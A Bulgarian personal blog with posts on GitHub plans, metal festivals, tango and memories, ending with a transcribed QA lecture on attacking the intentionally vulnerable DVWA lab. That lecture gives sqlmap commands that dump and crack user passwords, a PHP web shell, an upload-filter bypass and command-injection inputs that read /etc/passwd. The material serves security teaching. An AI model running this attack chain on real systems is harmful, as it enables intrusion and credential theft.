Category: Недко разказва

16.04.2020 – github с повече безплатни екстри

Ся, супер тъпо заглавие, но толкова. Ръждясалите ми за блог активности мозъчни клетки им трябва малко заигравка за да зпаочнат да пишиат … още по-тъпи заглавия :)

Та – преди няколко дни GitHub си промени ценовите условия. Не е станал безплатен, защото беше безплатен за всички и преди това, но някои от нещата, които бяха за план “Team” вече са безплатни за широката аудитория.

Основните разлики са:

  • Private repositories – преди безплатните акаунти в github имаха само публични repo-та, вече всеки може да си има и свое private repo. Някои компании ползваха платените планове на github само за да се възползва от private repos (макар, че предложих неведнъж да минем на gitlab, но това е друга тема);
  • Unlimited collaborators;
  • До 2000 минути безплатно за достъп до GitHub Actions – това е тяхната (сравнително нова) CI/CD платформа;
    • Като подточка, но имайте едно наум, че “Required status checks“, което значи, че хората, които правят ревю по него няма да могат да merge-нат, е само за публични репота;
    • Automated code scanning също работи само за публичните репота.

Промяната е страхотна и ще помогне на много малки организации, училища и университети и хора (влизащи) в бранша да мигрират към GitHub, защото частните repo–та са голяма благинка, а GitHub Actions са чудесен старт в CI/CD. В пакета са включени и 500 MB място за вашите проекти (note – 500 МЕГАбайта, може да ви се стори малко, но за код това си е направо невъзможно за запълване с код).

И понеже говорихме за безплатната версия може да ви е станало интересно какво може “Team“:

  • Първо цената – редуцирана е от $9 до $4;
  • Require reviews – ако това го имаше в безплатната версия щеше да е медец. В доста огранизации хората не могат да commit-ват директно към master branch-а, а трябва да мине ревю от поне още един човек;
  • 3000 минути за GitHub Actions за частни репота, безплатно за публичните такива;
  • 2 GB code storage (което е 4 пъти повече от безплатния план);
  • НЯКАКЪВ support, описан сравнително лаконично. Ако погледнете таблицата за Enterprise плана ще видите 8 часов SLA, което вече си е нещо друго.

Детайлни разбивки на всички планове можете да видите в страницата на GitHub.

И за финал цитирам поста на GitHub – “But every developer on earth should have access to GitHub. Price shouldn’t be a barrier.

Varna mega rock ден трети

Ден трети. След втория безалкохолен ден на третия ми се отвори бирената клапа. Лошо, че беше неделя, но си поех рисковете! Та Чъмпа дойде да ме вземе с колата, отидохме до Аспарухово, заредих един нефилтритран Старопрамен, нещо ново, което не е най-доброто, което съм пил, аху иху и се озовахме в началото на Sonata Arctica. Аз заредих няколко бирички и се впуснахме в търсене на ОК места. Както и предния ден този беше с доста повече хора, доста по-трудно човек можеше да стигне по-напред, но ние така или иначе не искахме да се редим на решетките. И Sonata Arctica започнаха своето епично пътешествие по пясъка на Аспарухово, в сърцата на феновете, а ние с Чъмпа стояхме с учудени погледи, дълбоко впечатлени от страхотността с която се лееха Sonata Arctica.
Свършиха сравнително бързо (или поне на нас ни се стори така) и дойде ред на sound check-а на Avantasia. Заредих още бири, шибнах няколко шота Йегермайстер (или известен с другото си име – Йебермайкер), чаках ред да ми оформят брадата (имаше такава услуга от Брадао), запознах се там с трима метъл братя, но след 20-тина минути чакане се отказах, после пак отидох, поскарахме се с един друг метъл брадър, който ме пререди и тей. Сега в лицето продължавам да съм като блъснато куче.

Тъй де, дойде ред на Avantasia, които от първите акорди разпиляха пресветата епичност по всички нас и започнаха да къртят акорд след акорд, песен след песен и вдигаха епичност-о-метъра доста бързо. Излизаха един по един стари и нови вокали, кой от кой по-добър, беквокалите бяха жестоки, а цялото представление повече приличаше на някакъв извратено добър метъл мюзикъл. През повечето време стоях с отворена уста и зяпах зрелището.

Обещанието на организаторите е, че Varna Mega Rock 2020 ще е още по-епична. Да се надяваме.

А да – най-важното изтървах – видях жив човек, който носи тениска на Конкурент. Прекръстих се няколко пъти, питах хора около мен – не ми се беше превидяло! Те-нис-ка на Кон-ку-рент, копеле! КОНКУРЕНТ!

IMG_20190818_203111

Image 1 of 7

Varna mega rock ден първи

Вчера бяхме на Varna mega rock в Аспарухово двамта с Чъмпа. Обиколихме целия град с автобуса докато ни затътри до Аспарухово, междувременно ударихме по една биричка и стигнахме. Не беше нещо невиждано като гори от коси и мега метал настроението, но се мяркаха от време на време разни хора с елечетата и тениските на правилната вяра.
Та отидохме сравнително късно и Destruction бяха вече по средата криво-ляво. Тях ги слушах преди 13 години на “Thrash til death fest” в Каварна, но когато излязоха Napalm Death всичко друго избледня. Та за мое съжаление слушахме съвсем стандартен траш даже леко избледнял, а групата – спряла себе си в средата на осемдесетте години. В което няма нищо лошо, не очаквах повече, но все пак нещо ме бъзна леко в душата. Изсвириха няколко песни от съвсем пресния си албум “Born to perish”, коси се вееха, а ние с Чъмпа бяхме доволни от живота, новолунието, приятното време и липсата на каквато и да е било блъсканица.

И дойдоха Rage. Тия, които с надсмешка си говорихме, че никой не ги е чувал излязоха със симфоничен оркестър и сцепиха всяка капка вода по плажа на Аспарухово. И двамата не ги бяхме слушали предварително, но дебелия Peavy Wagner на който не мога да му произнеса името излезе и заля цялата сцена с някакъв невероятен позитивизъм, енергия и чувство на лекота. Раз-це-пи-ха мрака тия. Още ме боли врата. За бога в оркестъра (който беше български между другото) имаше фагот. Цялата публика откачи, имаше 1-2 мошпита, но през повечето време имаше чист, искрен хевиметъл. А той се лееше и ние мятахме коси, викахме с тях, пиехме бири с литри и се кефихме на прекрасността, която може това да събитие да донесе на човек. И всичко беше чудесно докато не изсвириха Holy Diver на Dio. Тогава всяко гърло се ангажира за няколко минути да даде всичко от себе си и да почете паметта на Дио, да затвъдим, че във Варна метъл култура съществува, съществувала е и винаги ще съществува.

Прибрахме се бавно допивайки бирите си в една съмнителна копърка с чернокож, който ни одра малко повече отколкото би струвало иначе с нормална таксиметрова компания, вървяхме и превъзнасяхме немските машини от Rage и си легнах в 2. Днес с нови сили ще чакам да чуя българите Velian и Sevi и ще дадем щанс на W.A.S.P. да покорят сърцата ни.

Заслужен кудос за автора на статията за Varna Mega Rock 2019 – Alatriste. Чакам разказа му с нетърпение утре.

Ако сте любопитни можете да чуете Rage директно от Waken 2017 където са с новия си китарист и къртят мивки:

Note – забравих да кажа за измекярите от Йегермайстер (или т.нар. Йебермайкер), които бяха там и предлагаха шотове като малкия беше 20 мл, а големия – 40 мл. Четирдесет милилитра е големия! 40! Това е някаква абсолютна шега. Аз с 40 мл. и спирт за горене да пия няма да мога да се омотам, бе! Срамота.

Tango never dies

Минаха се точно шест години откакто излязох за пръв път на сцена пред няколкостотин човека и не водих лекция а… танцувах. Повечето от вас, които ме познавате достатъчно отдавна ще се сетите, че танго треската ме държа няколко години (държи ме още, ей тук горе). И точно преди 6 години хванати за ръце с Милена се качихме на сцената, под прожекторите и направихме това, което тренирахме последните няколко месеца.

Помня колко усилени тренировки бяха. Креми, нашия хореограф, един ден събра десет от нас, трениращите, и ни каза – “Искате ли да танцувате пред хора?”. Аз се облещих, другите бяха със смесени реакции – от смях до леко, но сериозно кимване с глава. И така и стана. Екипа, който отделяше по 3 дни седмично (понякога и по 4 дни) с тренировки нерядко до полунощ бяхме – аз и Милена, Стоян и Деси, Тома и другото Деси, Виктор и Крами, Наско и Мария. Всеки си беше намерил органично партньора.

Много вода се изля докато дойде времето за фестивала, случиха се хубави и лоши неща, но най-вече хубави. И ето, че дойде датата, аз нямах търпение, отидох в залата доста рано сутринта, Креми тъкмо я беше отключила. Имаше нещо много вълшебно когато няма никой в залата и ти можеш да загрееш или репетираш. Ти сам и залата, онази чупка в пода, огледалото, аромата на цветя, всичко. Започнаха да идват лека-полека всички, дамите си правиха прически и си нагласяха тоалетите, ние гледахме тъпо. Към 11:00 отидохме там, където се провеждаше Summer Salsa Festival (на триторията на свободния университет) и зачакахме. Бяхме подготвени и притеснени, всички. А на сцената излизаха някакви нечовеци – правиха върховни движения, хореографии, разказваха истории. Дойде и нашия ред. Точно по обяд. Излязохме и почувствахме сцената, стълбите до нея, вятъра, слънцето, хората, които бяха насядали в тревата да кибичат или да чакат ред. Направихме хореографията, което беше чудесен знак, че всички сме подготвени.

Опитах в този абзац да пресъздам усещането, което беше в мен тогава, но не ми се получи. В общи линии всички бяхме сериозни, но вътрешно кипяхме, пазихме си дрехите и обувките да не разлеем нещо върху тях, да не ги намачкаме. Беше един от онези моменти в които имаш толкова много неща в себе си, че спираш да мислиш за малко. И тази липса на шум беше страхотна.
Вечерта дойде бавно и мъчително. Бяхме единствените, които щяха да правят танго хореография на салса събитието. И момента настъпи, защото те така правят, идват с или без да си подготвен, Креми дойде, кимна ни, а ние стояхме тихо и си гледахме обувките, обелвахме по една-две думи и го мислихме. И мислихме.

Навън имаше няколкостотин човека и всички бяха дошли да се забавляват. Ние бяхме там да се оттървем от демоните си поне за малко. Обявиха ни, шум, прожектори. После тишина. Цялата хореография се случи като една магия, която не знам как работеше, но си беше там. Всичко стана божествено леко, като перца бяхме. На мен ми се плачеше на сигурно 10 места в хореографията я заради бандонеона, който изплаква някоя по-висока нота на правилното място, я заради някое движение.
Наистина не мога да опиша онзи момент в който прожекторите светнат в очите ти и ти се чувстваш като в кутийка в която никой не наднича и си заключен ти с партньора си заедно с другите участници. Но знаеш, че не е така. Когато твоята музика свири с ударите на твоето сърце, когато се чувстваш свързан.
В онзи малък момент в който колкото и недодялан да си се чувстваш лек като перо и дишаш хората, емоцията около и в теб, светлините.

После хората ръкопляскат, малко прегдърдки и радости и едно чао.

Минаха шест години. Един живот се извъртя, падна и се изтърколи. На негово място дойде друг. И всеки път когато чуя бандонеон нещо в душата ми ще изплува и ще ме връща в тези моменти, когато беше просто, когато танцувахме и го правихме с часове, дни наред и не ни омръзваше, когато бяхме всички заедно.

Креми – благодаря ти, а другите – винаги ще ви пазя тук в ляво увити с целофан от моменти и случки, всички заедно. Защото танго може както да донесе несметна скръб и тъга така и да ни накара да бъдем искрено щастливи.

За мечтите

Всеки има мечти. И освен хубаво това си е и задължително.

Но какво са мечтите без хоризонт на който стоят удобно застанали и едвам забележими? Например моя мечта беше да карам колелото до абсолютния си край на силите, абсолютния. Това на вас може да ви звучи тъпо, но за мен е невероятна (колкото и да мразя тази дума) терапия, която ако не изгонила поне разбутала малко демоните от главата и мислите.

Всеки има и тъпи мечти – да изхака съседката, да си купи нова прахосмукачка или просто да стои цял ден без никой да се сети за него, да му пише или да го дърпа за нещо.

И както вече се досещате от предългото интро (знаете ли как е интро на български?) днес аз осъществих една моя мечта. От секция тъпи мечти, но като се случи се почувствах щастлив. Ей така, за 7-8 минути, по детски. Днес ходихме на гости на приятели, които си взеха къща в близко до Варна село та да полеем. Домакините си имат и басейн. Та досещате се сигурно, но се пльокнахме всички и побъбрихме, малко аху-иху, но времето се развали, захладня и аха да завали. Всички излязоха и аз останах сам с мислите, рошавата коса (която толкова я пазих да не я намокря) и гледах идващата буря. Облаците се смесваха подобно като да сложиш в стъплена чаша кафе с мляко, в техен си ураган от форми и звуци и заваля.

И в този мъничък момент, с тези първи капки дъжд нагло пльокайки по мен и водата в басейна едно приятно чувство на облекчение и ме обля удовлетворение. Сместа между дъжд и хлорирана вода явно отдели някакво съединение, което ми припомни мечтите и стремежите, онази снимка на фонтана в Добрич като снимах един гълъб (която няма как да ви покажа, защото photo-cult вече не съществува) и бях посветил снимката на A-HA – Crying in the rain, онези малките моменти като например като се прибираш от работа и завали, ти бягаш, но така или иначе ставаш вир вода и се отказваш, отпускаш си душата, прибираш телефона на сухо и започваш да вървиш бавно дишайки въздух и дъжд, гледайки начумерените лица на хората наоколо.

В тези моменти човек се сеща, че живее, че е част от природата, че прекраснотите са около нас и ако си извадим главите от гъзовете и се огледаме ще видим шареното, смешното, хубавото.

Ходете под дъжда, бавно, и кимайте на бягащите около вас хора.


Ваш,

Недко.

July morning 2019

4:30 сутринта алармата ми звъни. Отварям очи, котката ме гледа с пренебрежение, Златина спи. Измъквам се тихо от двамата, слагам екипировката, слушалките и тръгвам към изгрева. Буквално.

Не съм карал от 8 месеца (с изключения на 3-4 излизания преди месец) и се усеща. Но пък утрешния хладен ентусиазъм ме тресеше през целия път до Аладжа Манастир и обратно. В ушите ми през целия път пееше Дейвид Брайън, пееше за изгрева, за новото начало и за красивото. И мина малко време преди да посрещна първите лъчи слънце. Вече бях потен, целия в мушички, но ухилен (не правете това!) и някак безпричинно щастлив.

И се присетих за един от първите ми Джулай – някъде около 2002-2003 година когато бях още ученик. Нашата групичка начело със Стефан, Вальо, Сашо и още една торба добри хора някак се самоорганизира покрай празника. Някак си всеки смяташе за решено, че ще сме там и дори не се питахме кой ще идва, а какво да носим. Замъкнахме се на Тюленово, където за хората, които не са ходили плаж няма, а отвесна 10 метрова скала, където намерихме малко пръчки и направихме импровизиран огън, изпекохме малко меса, всеки придърпа към себе си по една двулитрова Каменица седейки на малки рибарски столчета порай огъня и си говорихме. И говорихме. И говорихме.

Пишейки това имам чувството, че е минало толкова много време, че все едно е било в някакъв друг живот, дейба.

Та – първите лъчи ни осветиха чорлавите коси и челата, махнахме дебелите дрехи, помня беше доста студено вечерта, и останахме по бански. На Сашо приятелите предните дни бяха опънали тролеи с дължина към 15-18 метра и първото нещо, което направихме беше да се пуснем по тях. Имам клип как вися 5 минути докато се наканя да скоча, ако го намеря ще го пусна да ме видите какъв съм охлюв :D

Мина доста време откакто не ходим на палатки с тях, но покрай Джулай се връщам често към този момент – опиянени от бирите, дрънкането цяла нощ и после слънчевите лъчи, водата. Ех.

Manowar – една моя стара любов

Някъде около 2004-2005 г.

Брат ми каза – “Абе тука намерих едни яки, искаш ли да ги чуеш?”
Така за пръв път се сблъсках с Manowar, а първата тяхна песен, която чух беше Metal Warriors. Така братлето ми даде един от основните стилове, които слушам и до днес и ще е част от мен завинаги.
Благодаря, Светльо.

2007

Стефан, някогашния ми най-добър приятел, ми пише по IRC:
“Недко, Manowar ще идват в България, в Каварна!!!”

Тогава бяха едни от най-силните години на метъл културата извън София.

Стефан, сам по себе си беше далеч от хеви метъла и повече към дед/грайндкор метъла, но споделяше с мен мечтата ми. Защото така правят приятелите. Помня за рожденния си ден, че имаше събиране в нас и помолих приятелите да не ми дават подарък, а пари за да мога да си взема билета. Събрах пари, уговорихме едни палатки около Каварна, намерихме си и транспорт с един червен Форд Ескорт на около хиляда години.

Помня много ясно (точно този спомен изплува много често когато ходя по концерти) как се видяхме със Стефан 2 часа преди да дойдат да ни вземат. Ходихме да пием по едно кафе, взехме си нещо за ръфане по пътя и една двулитрова бутилка с някаква съмнителна енергийна напитка (от която като се уригне някой, а това ставаше често, трябваше да отваряме всичките прозорци за 4-5 минути) и час преди срещата бяхме на спирката.
Спирката и до ден днешен си е там, но тогава имаше от онези зелените стъклени панели и беше изрисувана с разни тъпотии. Стефан написа датата – 30.06.2007, сигурно още стои там. Надписа е преживял едно приятелство, три концерта на Manowar и 12 години.

Навън беше един от най-приятните юнски дни. Стефан мрънкаше, че краката му в тия кубинки са заврели, аз стоях и гледах в една точка. Птиците пееха, нямаше почти никакво движение по булеварда, обелвахме по 1-2 думи, стоейки на счупената пейка и мечтаехме за събитието, което щеше да се случи след само няколко часа . Това е един от най-хармоничните и най-приятните спомени, които имам изобщо.

Колата дойде, пътувахме цяла безкрайност до Каварна, вътре крещяхме, пяхме и само дето не си блъскахме главите една в друга от радост. Радостта на двайсетте ни години.

Нямам ясни спомени как направихме организацията, предполагам след като е приключил концерта някой е дошъл да ме вземе и да ходим към палатките, Стефан помня, че беше отвън и разказа, че е откачил от кеф, макар и да не е фен.
Аз влязох, сам, с тениска, която ми беше сигурно 2 номера по-голяма и незнаейки какво да очаквам, беше ме малко страх, че ще се разочаровам. Имаше толкова много хора с огромни коси, кожени дрехи, очила. Тогава сигурно за пръв път се почувствах добре в тълпа от напълно непознати. Набутах се малко по-напред и започна шоуто на Sixth Sense за които нямам абсолютно никакви спомени.

Ноо после излезе зашеметяващата Maria Breon заедно с останалите от Holyhell и изнесоха прилично шоу. И точно когато смятах, че няма колко по-добре да стане, защото бях сигурен, че Ерик Адамс няма да излезе да изпее с Maria Breon The Phantom of the opera… чух първите ѝ ноти и към средата излезе … Ерик Адамс. Публиката тотално откачи, имах чувството, че се вдигнахме на метър над тревата на стадиона. Беше тооолкова яко за двадесет годишното ми аз, че си мислих, че по-добре не може.

И сбърках.

По времето на подгряващите групи беше мега горещо и охраната пред нас ни поливаше с маркучи вода, бири се лееха с тонове (без да преувеличавам), беше нечовешко.

След бърз сетъп излязоха Manowar и без да губят и секунда започнаха с едноименния си сингъл. Тогава не очаквах да влязат с вратата, а първо речите на Джоуи ДеМайо от по 20 минути, а, у и чак тогава.
Помних текста на всяка една от двадесет и двете песни. Всяка.

И след като приключиха с потресаващото Hail and Kill (което по случайност слушам точно в момента в който пиша статията) времето спря и два акорда шокираха публиката. Все едно наякой хвърли бомба в краката ни и ние не можахме да реагираме когато нещо избухна.
И то се случи – първите два акорда на нашия химн прозвучаха от Manowar. После следващите два, после още малко, после Ерик Адамс пя на български. Всички в публиката ревахме като говеда.

Тогава нямаше още националистически партии, псевдопатриотите бяха малко и не пускаха химна на всяко събиране на себеопределили се спасители на клета България. Тогава химна се пускаше рядко и по правилните поводи. И това остави следа толкова дълбока в мен, че докато го пиша пак се просълзявам.

Копелетата дойдоха, грабнаха душите и сърцата ни и си тръгнаха като абсолютните победители.

Следващите няколко дни шепнех, защото не можех да говоря и точно в този момент, точно в тези няколко часа преди по време и след концерта се чувствах лек и щастлив.

Сетлиста от 2007 година можете да намерите тук. Галерия със снимки – тук.

2008 г.

Вече съм навлязал с двата крака в своите двайсет и една години учейки в ултра престижната кочина наричана Шуменски Университет. Събрали сме се на Бункера – емблематично място в Добрич и пием бирички и си говорим за неправдите в нашите животи (‘щото, нали) и Митко супер casual хвърля бомбата:
“Абе знаете ли, че Manowar ще идват в Каварна след месец?”

След първоначалния шок, защото не очаквах да дойдат толкова скоро се разбрахме да ходим заедно. Преживяването по пътя, нетърпението и всичко останало беше бледо, отидохме там с уговорката, че след концета ще ходим на палатки, но като излязох всички бяха пияни и така спахме в колата – аз, Митко, брат му и приятелката (на един от двамата, не се сещам на кой беше). Щяхме да умрем в това Алеко.

За концерта обаче нещата бяха различни. Отидохме с много сериозните очаквания и там вълшебството продължи. За разлика от “само” 29-те песни през 2007 година 2008 беше петчасов душевен оргазъм, който според Manowar са счупели рекорда за най-дълъг хевиметъл концерт в историята. 47 песни, една след друга, без никакво прекъсване. В петте часа и една минута бяхме всички заедно, един огромен, мощен глас от сърцата и душите на феновете. Тогава знаехме всички текстове на всички песни, беше не-ве-ро-ят-но. Дойдоха си и с класически оркестър и имаше страшна заря на съпровода на The Crown and the Ring.

Цяла седмица бях без глас. Цяла!

Сетлиста от 2008 година можете да намерите тук. Галерия със снимки – тук.

2010

В своите двадесет и три години по много случаен начин попаднах на един постер във фейсбук в който пишеше само “Dano da e istina”. И беше. Metallica, Slayer, Megadeth и Anthrax в ден първи и Rammstein, Manowar, Stone Sour, Alice in Chains в ден втори. В София.

Беше най-мащабния концерт на българска територия като освен това в 800 киносалона в цял свят даваха на живо, последваха записи на DVD и BluRay.

За другите групи и за това как не можех да повярвам, че ги слушам на живо ще пиша друг път. Но тогава, преди точно девет години, се срещнах за последно с Manowar. И тогава, понеже Dio беше си заминал само 2-3 месеца по-рано, Джоуи ДеМайо излезе и говори. И говори. И говори. И изяде 1/2 от така или иначе малкото време на Manowar. Изсвириха само седем пестни и това повлия сериозно на имиджа им тук, в България. След техните 7 песни и дъъъъълги речи Rammstein излязоха и всички забравихме за бледото представяне на Manowar. Както и за това, че са били там.

Сетлиста от 2010 година можете да намерите тук. Галерия със снимки – тук.

2019

Вече в моите тридесет и почти три години, сгоден, дебел, работещ и с ясна посока в живота пак потрепервам като се сетя, че ще ги чуя пак, за последен (според тях) път, тук – в България. И си правя равносметки. И се радвам. И ми е малко тъжно. Но дано последната ни среща е толкова запомняща се като първата за да имам какво да разправям на внуците си един ден когато Manowar няма да ги има, но ще живеят в сърцата на всичките си фенове.

Вальо, Вельо – пригответе се. Този път ще е безмилостно.

И всеки път когато ходя на концерт на когото и да е било се връщам обратно през 2007 година, на онази спирка, със Стефан, когато чакахме неизбежното, бяхме на ръба на онази пропаст между детско-юношесктите годни и живота и се усмихвахме, готови да се гмурнем с главите напред. И го направихме.

Security testing – fast forward. The lecture

По-долу е лекцията, която изнесох на QA: Challenge Accepted 5.0. Различно е отсъствието на плоските шегички и малко по-подробната на места информация.

Като начало, вместо начало

Scope-а на лекцията е да демонстрира няколко добре известни атаки под формата на един общ процес. Това са:

  1. Да намерим потребителските имена и пароли в база, до която нямаме credentials;
  2. Да качим зловреден код прескачайки (добре) написана upload функционалност;
  3. Да изпълним кода и да получим съдържанието на произволен файл в системата.

Инструментариума, който ще използваме е:

Подготовка на средата:

Инсталацията на Docker и Python са като всяко друго windows next-next-finish приложение. След това идва драмата.

За да вдигнете цялата си среда, трябва в command prompt (start menu – cmd) да изтеглите docker repo-то:

https://hub.docker.com/r/vulnerables/web-dvwa/

Сега repo-то на DVWA заедно с апаче, база данни, PHP и една кофа неща са при вас. За да ги направите достъпни, трябва просто да стартирате контейнера:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

1. SQL Injection

SQL Injection най-общо казано е възможност за изпълняване на нерегламентирани SQL statements като SELECT, UNION и т.н., които не са предвидени в текущата функционалност на приложението. С други думи ако параметризирате без подходяща валидация и/или санитизация някой параметър, може да има драма. Пример за драма:
GET request:

http://nedko.info/sql_injection/inj.php?drama=1

Кода, който работи отдолу:

$drama = $_GET[‘drama’];
$getDrama  = “SELECT * FROM vulnerabilities WHERE type = ‘$id’;”;

Ако въведете валидни данни всичко ще е супер, ноо (второто О е за допълнителна драма) ако счупите заявката ще стане любопитно.

Най-елементарния и емблематичен пример е Светия Апостроф. Ако набием един ‘ след параметъра ?drama=1’ ще строшим SQL заявката.

Пример в DVWA с класически SQL injection (линк към локалния DVWA – http://localhost/vulnerabilities/sqli/):

DVWA – SQL Injection, level 1

Но понеже живота на penetration tester-а (или на смъртния човек, който е решил да се занимава с това) не винаги е лесен (никога не е) и може вече някой програмист далновидно да е решил да направи валидация и да избегне този балъшки тест.

Тогава идва ред за нашето последно късче надежда или т.нар. Blind SQL Injection (или както след лекцията някой каза – Орхан Мурад SQL injection), който можете да намерите в менюто на DVWA – SQL Injection (Blind). По самото си същество това е същата уязвимост, но не получаваме веднага потвърждение от типа на бял екран или експлозия на еднорози. Но лесно можем да проверим какво става като отворим inspector-а на Chrome (естествено става и с всички други модерни браузъри, дори и с Онова, което никой не нарича браузър) и влезем в таб Network. Там ще минат всички request-и (POST/GET ни интересуват най-много, но ще видите и images, JS, CSS files и всичко от което има нужда ресурса, който сте отворили).

Сега като набиете един ‘ в полето “User ID” наблюдавайте какво ще се случи в Network Tab-а:

За да продължим към екшъна ще ни трябват и кукитата на скрипта, защото все пак, за да достигнем тази функционалност минахме през логин. Cookies можете мега лесно да намерите на същия екран, но в подтаб (има ли такава дума?) “Cookies”:

До момента използвахме само браузъра за нашите дребни шегички с администраторите. Сега е ред да използваме нещо по-могъщо – sqlmap.

Note – чудите се къде са SQL break characters, къде ви е cheatsheet-а с който можете с copy/paste да трошите сайтове? Понеже на лекцията имах само 25 минути нямаше време за това, няма да го покажа и тук (освен ако някой наистина иска да види какво става отдолу, тогава на драго сърце бих дописал статията с малко теория). За наше щастие sqlmap прави всичко за нас. Ние само трябва да му дадем параметъра, който смятаме за уязвим и cookie-тата, за да може инструмента да се “логне”. Туй то, както казваме в Добричко/Варненския край.

sqlmap – our secret weapon

За да подкарате sqlmap, трябва да имате първо Python. Инсталацията му е лесна и няма да имате грижи.

По ред на information gathering процеса ще запиша тук всичките стъпки, през които трябва да минем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” –dbs

Резултата:

available databases [2]:
[*] dvwa
[*] information_schema

И ето, че намерихме базата, която използва DVWA. Сега ще ровим още, за да получим имената на таблиците на същата база (ако новите и старите богове нямат нищо против):

./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa –tables

Новите параметри тук са:

  • -D dvwa – казваме, че целта на нашата задача е база с име dvwa
  • –tables – покажи всички таблици от базата дефинирана по-горе.
Database: dvwa
[2 tables]
guestbook
users

И ето, че без много зор стигнахме до таблиците на база, за която нямаме никакви credentials. И понеже чичо Недко е нагляр по природа продължаваме да видим докъде можем да стигнем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa -T users –columns

Новите параметри тук са:

  • -T users – целта ни е таблица с име users;
  • –columns – покажи колоните на базата (това е нещо като show columns from [users] в mySQL).
Database: dvwa
Table: users
[8 columns]
Column – Type
user – varchar(15)
avatar – varchar(70)
failed_login – int(3)
first_name – varchar(15)
last_login – timestamp
last_name – varchar(15)
password – varchar(32)
user_id – int(6)

Note – можете да видите и payload-а, който sqlmap ще направи, ако сте от любопитните.

И ето, че имаме всичката нужна информация за базата и структурата ѝ:

  • DB name – dvwa;
  • DB tables – guestbook, users;
  • DB user columns – user, avatar, failed_login, first_name, last_login, password, user_id;
  • Таблици, които са ни интересни – user и password.

Извеждане на потребители и пароли и декрпитирането им

python sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -C user,password –dump

Както забелязвате няма нужда да въвеждаме името на базата и таблицата тук, защото sqlmap си ги пази. Това значи, че ако решите да си reproduce-нете целия сценарии отново, трябва да минете през горните точки също.

И ето, че с последната команда направихме все едно един select user, password from users, взехме хешовете и направихме dictionary attack в който съпоставихме хешовете с тези в dictionary файла.
Естествено за демото паролите не бяха t@snipi4ki!, а тривиални, за да може да не използваме +10GB файлове и часове чакане, а покажем как работи sqlmap-а.

И ето, че потребителите, които имаме в базата са:

  • 1337/charley
  • admin/password
  • gordonb/abc123
  • pablo/letmein
  • smithy/password

С това нашата задача приключи. Продължаваме напред, Кобра, с:

File Upload manipulation

Малко тъпо заглавие, но друго не измислих. Идеята е, че ще направим малък трик, с който ще успеем да качим PHP файл, който ще представим за PNG и в последстиве ще преименуваме директно на сървъра с command injection, за да изпълним зловредния си код (зъл смях).

Преди време имах трудни периоди с един програмист, който пишеше upload форми като казахтстански опълченец – без никакви валидации освен разширението на файла. След десетки спорове стигнахме до консенсуса да ползваме getimagesize в PHP. Хитринката е, че освен размера на image-а функцията проверява и дали файла е от тип image или някой хитряга се опитва да върти номера. Тогава при моите си опити да кача нещо друго освен image, не увенчах успех. Но днес ще ви покажа как да прескочим и това.

Нашия зловреден код ще е убер прост:

<?php

system($_GET[‘cmd’]);

?>

Когато го качим на сървъра, ще можем да извикваме параметри през него все едно сме в конзолата:
http://localhost/hackable/uploads/hack.php?cmd=ls /

Преди това обаче свръх малко теория – подобни функции изчитат сигнатурата на файла, която е в началото му и ако срещнат съвпадащи такива с типа, за който се представя файла, го приемат за чиста монета.
До момента, в който някой не реши да смени тази сигнатура (laugh in Spanish).

За да редактираме сигнатурата на файл, ни трябва HEX редактор и PHP кода от по-горе запазен във файл с разширение PNG (в моя случай е hack.png). На по-старите кучета, които са живели във времето, в което това беше актуално, няма да обяснявам какво е, а за по-новите кучета – също. Просто си изтеглете WinHEX или който и да е друг подобен инструмент, отворете hack.png и от страницата File Signatures Table намерете PNG и го копирайте в началото на файла:

При paste изберете в диалоговия прозорец “ASCII Hex”.

И ето, че имаме handcrafted файл, който можем да си използваме да си тестваме upload формите.

Нека сега опитаме да качим файла през upload формата на DVWA:

И ето, че имаме качен успешно файла в две директории нагоре /hackable/uploads.
Ако сега го достъпим, браузъра ще се опита да отвори файла като image, но ще покаже някаква простотия. Пътя до файла е http://localhost/hackable/uploads/hack.png

Понеже сега не можем да изпълним PHP-то, идва ред на третата и последна атака, която ще направим днес:

Command Injection

Целта на тази атака е да намерим функционалност, която извиква директно команда от системата и да слепим с нея втора, която ние да си изберем. В конкретния случай ще преименуваме hack.png в hack.php.

Като цяло извикването на команда директно си е за бой, но ако извикате команда през PHP без да имате нужните валидации, сте за хвърляне зад Вала.
Както повечето атаки и тази разчита на липса на валидации за специфични кейсове. Атаката се осъществява мега лесно със знак за конкатенация. Пример за такива знаци има в кода на DVWA (ниво на трудност High):

Нашата нищожна атака ще е супер проста. Както виждате от примера по-горе на трети ред след| има интервал (демонстриращ, че човешката грешка също е важен показател). Тоест с | ще можем да слепим втора команда след валидно подадена такава (като не забравяме, че не трябва да има интервал след знака, за да не мине валицадията). Ето и пример с това как можем да видим системен файл директно от WEB чрез command injection:

localhost|cat /etc/passwd

И както виждате можем да видим съдържанието на системен файл без проблем, за това ще опитаме да преименуваме файла hack.png в hack.php и да го изпълним. Командата е:
localhost|mv ../../hackable/uploads/hack.png ../../hackable/uploads/hack.php

Не очаквайте винаги да има някакъв output от командите, които (се опитвате да) изпълнявате.

Изпълнението на зловещия план

След като създадохме файл, който специално обработихме, качихме и преименувахме, е време да го изпълним и да видим дали всичката тази играчка ще сработи. Ще се опитаме да видим съдържанието на конфигурационния файл на DVWA:

http://localhost/hackable/uploads/hack.php?cmd=cat%20/var/www/html/config/config.inc.php

След като го изпълните дайте view source (ctrl+u)

И ето, че с тези елементарни похвати успяхме да извлечем потребителските имена и пароли от базата на DVWA, да му прескочим upload формата и да изпълним произволна команда.

Линк с презентацията можете да намерите мааалко по-долу. Публикувам я as it is макар, че малко се счупи при импорта от PowerPoint към Google Slides. #Yolo (или както Исуската казва – #YOLT (you only live twice).

Заключение

На всички ни е ясно, че новите ORM frameworks например се грижат за SQL injection още на много ниско ниво, че command injections могат да се разрешат лесно с използването на почти произволен framework и правилна конфигурация, но всеки трябва да се замисли поне малко за сигурността, докато пише проложения, за да може тези, които го тестват да кимнат одобрително с глава и като го пуснат в production, да са поне една идея по-спокойни.

